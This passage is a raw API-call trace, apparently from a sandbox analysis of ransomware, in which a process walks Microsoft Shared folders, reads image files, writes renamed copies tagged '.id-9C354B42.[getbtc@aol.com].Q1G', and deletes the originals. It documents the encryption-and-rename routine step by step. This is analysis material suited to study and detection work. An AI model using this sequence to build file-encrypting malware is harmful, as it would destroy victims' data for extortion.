[0042.657] lstrlenW (lpString=".bz2") returned 4 [0042.657] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0042.657] lstrlenW (lpString=".7z") returned 3 [0042.657] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0042.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.657] lstrlenW (lpString=".dbf") returned 4 [0042.657] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0042.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.657] lstrlenW (lpString=".1cd") returned 4 [0042.657] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0042.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0042.657] lstrlenW (lpString=".jpg") returned 4 [0042.657] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0042.657] lstrcmpiW (lpString1=".jpg", lpString2=".Q1G") returned -1 [0042.657] lstrlenW (lpString="Bears.jpg") returned 9 [0042.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.053] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1074) returned 1 [0044.053] CloseHandle (hObject=0x218) returned 1 [0044.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0044.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0044.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0044.053] lstrlenW (lpString=".doc") returned 4 [0044.053] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0044.053] lstrlenW (lpString=".docx") returned 5 [0044.053] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0044.053] lstrlenW (lpString=".pdf") returned 4 [0044.053] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0044.053] lstrlenW (lpString=".xls") returned 4 [0044.053] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0044.053] lstrlenW (lpString=".xlsx") returned 5 [0044.053] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0044.053] lstrlenW (lpString=".ppt") returned 4 [0044.054] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0044.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0044.054] lstrlenW (lpString=".zip") returned 4 [0044.054] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0044.054] lstrlenW (lpString=".rar") returned 4 [0044.054] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0044.054] lstrlenW (lpString=".bz2") returned 4 [0044.054] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0044.054] lstrlenW (lpString=".7z") returned 3 [0044.054] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0044.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0044.054] lstrlenW (lpString=".dbf") returned 4 [0044.054] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0044.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0044.054] lstrlenW (lpString=".1cd") returned 4 [0044.054] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0044.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0044.054] lstrlenW (lpString=".jpg") returned 4 [0044.054] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0044.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0044.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0044.054] lstrlenW (lpString=".doc") returned 4 [0044.054] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0044.054] lstrlenW (lpString=".docx") returned 5 [0044.054] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0044.054] lstrlenW (lpString=".pdf") returned 4 [0044.054] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0044.054] lstrlenW (lpString=".xls") returned 4 [0044.054] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0044.054] lstrlenW (lpString=".xlsx") returned 5 [0044.054] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0044.054] lstrlenW (lpString=".ppt") returned 4 [0044.054] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0044.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0044.054] lstrlenW (lpString=".zip") returned 4 [0044.054] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0044.055] lstrlenW (lpString=".rar") returned 4 [0044.055] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0044.055] lstrlenW (lpString=".bz2") returned 4 [0044.055] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0044.055] lstrlenW (lpString=".7z") returned 3 [0044.055] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0044.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0044.055] lstrlenW (lpString=".dbf") returned 4 [0044.055] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0044.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0044.055] lstrlenW (lpString=".1cd") returned 4 [0044.055] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0044.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0044.055] lstrlenW (lpString=".jpg") returned 4 [0044.055] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0044.055] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0044.055] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.585] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=33009) returned 1 [0044.585] CloseHandle (hObject=0x1ec) returned 1 [0044.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0044.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.585] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.585] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.586] GetLastError () returned 0x0 [0044.586] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x80f1, lpOverlapped=0x0) returned 1 [0044.588] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x8100, lpOverlapped=0x0) returned 1 [0044.589] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.589] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.589] SetEndOfFile (hFile=0x198) returned 1 [0044.589] CloseHandle (hObject=0x198) returned 1 [0044.590] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.590] SetEndOfFile (hFile=0x1ec) returned 1 [0044.591] CloseHandle (hObject=0x1ec) returned 1 [0044.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0044.591] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0044.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.592] lstrlenW (lpString=".doc") returned 4 [0044.592] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.592] lstrlenW (lpString=".docx") returned 5 [0044.592] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.592] lstrlenW (lpString=".pdf") returned 4 [0044.592] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.592] lstrlenW (lpString=".xls") returned 4 [0044.592] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.592] lstrlenW (lpString=".xlsx") returned 5 [0044.592] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.592] lstrlenW (lpString=".ppt") returned 4 [0044.592] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.592] lstrlenW (lpString=".zip") returned 4 [0044.592] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.592] lstrlenW (lpString=".rar") returned 4 [0044.592] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.592] lstrlenW (lpString=".bz2") returned 4 [0044.592] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.592] lstrlenW (lpString=".7z") returned 3 [0044.592] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.592] lstrlenW (lpString=".dbf") returned 4 [0044.592] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.592] lstrlenW (lpString=".1cd") returned 4 [0044.592] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.592] lstrlenW (lpString=".jpg") returned 4 [0044.593] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.593] lstrlenW (lpString=".doc") returned 4 [0044.593] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.593] lstrlenW (lpString=".docx") returned 5 [0044.593] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.593] lstrlenW (lpString=".pdf") returned 4 [0044.593] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.593] lstrlenW (lpString=".xls") returned 4 [0044.593] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.593] lstrlenW (lpString=".xlsx") returned 5 [0044.593] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.593] lstrlenW (lpString=".ppt") returned 4 [0044.593] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.593] lstrlenW (lpString=".zip") returned 4 [0044.593] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.593] lstrlenW (lpString=".rar") returned 4 [0044.593] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.593] lstrlenW (lpString=".bz2") returned 4 [0044.593] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.593] lstrlenW (lpString=".7z") returned 3 [0044.593] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.593] lstrlenW (lpString=".dbf") returned 4 [0044.593] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.593] lstrlenW (lpString=".1cd") returned 4 [0044.593] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.593] lstrlenW (lpString=".jpg") returned 4 [0044.593] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.594] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0044.594] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.594] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1925) returned 1 [0044.594] CloseHandle (hObject=0x1ec) returned 1 [0044.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0044.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.594] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.594] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.605] GetLastError () returned 0x0 [0044.605] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x785, lpOverlapped=0x0) returned 1 [0044.608] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x790, lpOverlapped=0x0) returned 1 [0044.610] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.610] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.610] SetEndOfFile (hFile=0x198) returned 1 [0044.610] CloseHandle (hObject=0x198) returned 1 [0044.611] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.611] SetEndOfFile (hFile=0x1ec) returned 1 [0044.612] CloseHandle (hObject=0x1ec) returned 1 [0044.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0044.612] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0044.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.612] lstrlenW (lpString=".doc") returned 4 [0044.613] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.613] lstrlenW (lpString=".docx") returned 5 [0044.613] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.613] lstrlenW (lpString=".pdf") returned 4 [0044.613] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.613] lstrlenW (lpString=".xls") returned 4 [0044.613] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.613] lstrlenW (lpString=".xlsx") returned 5 [0044.613] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.613] lstrlenW (lpString=".ppt") returned 4 [0044.613] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.613] lstrlenW (lpString=".zip") returned 4 [0044.613] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.613] lstrlenW (lpString=".rar") returned 4 [0044.613] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.613] lstrlenW (lpString=".bz2") returned 4 [0044.613] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.613] lstrlenW (lpString=".7z") returned 3 [0044.613] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.613] lstrlenW (lpString=".dbf") returned 4 [0044.613] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.613] lstrlenW (lpString=".1cd") returned 4 [0044.613] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.613] lstrlenW (lpString=".jpg") returned 4 [0044.613] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.613] lstrlenW (lpString=".doc") returned 4 [0044.613] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.613] lstrlenW (lpString=".docx") returned 5 [0044.613] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.613] lstrlenW (lpString=".pdf") returned 4 [0044.613] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.614] lstrlenW (lpString=".xls") returned 4 [0044.614] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.614] lstrlenW (lpString=".xlsx") returned 5 [0044.614] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.614] lstrlenW (lpString=".ppt") returned 4 [0044.614] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.614] lstrlenW (lpString=".zip") returned 4 [0044.614] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.614] lstrlenW (lpString=".rar") returned 4 [0044.614] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.614] lstrlenW (lpString=".bz2") returned 4 [0044.614] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.614] lstrlenW (lpString=".7z") returned 3 [0044.614] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.614] lstrlenW (lpString=".dbf") returned 4 [0044.614] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.614] lstrlenW (lpString=".1cd") returned 4 [0044.614] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0044.614] lstrlenW (lpString=".jpg") returned 4 [0044.614] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.614] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0044.614] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.615] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=27407) returned 1 [0044.615] CloseHandle (hObject=0x1ec) returned 1 [0044.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0044.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.616] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.616] SetFilePointerEx (in: 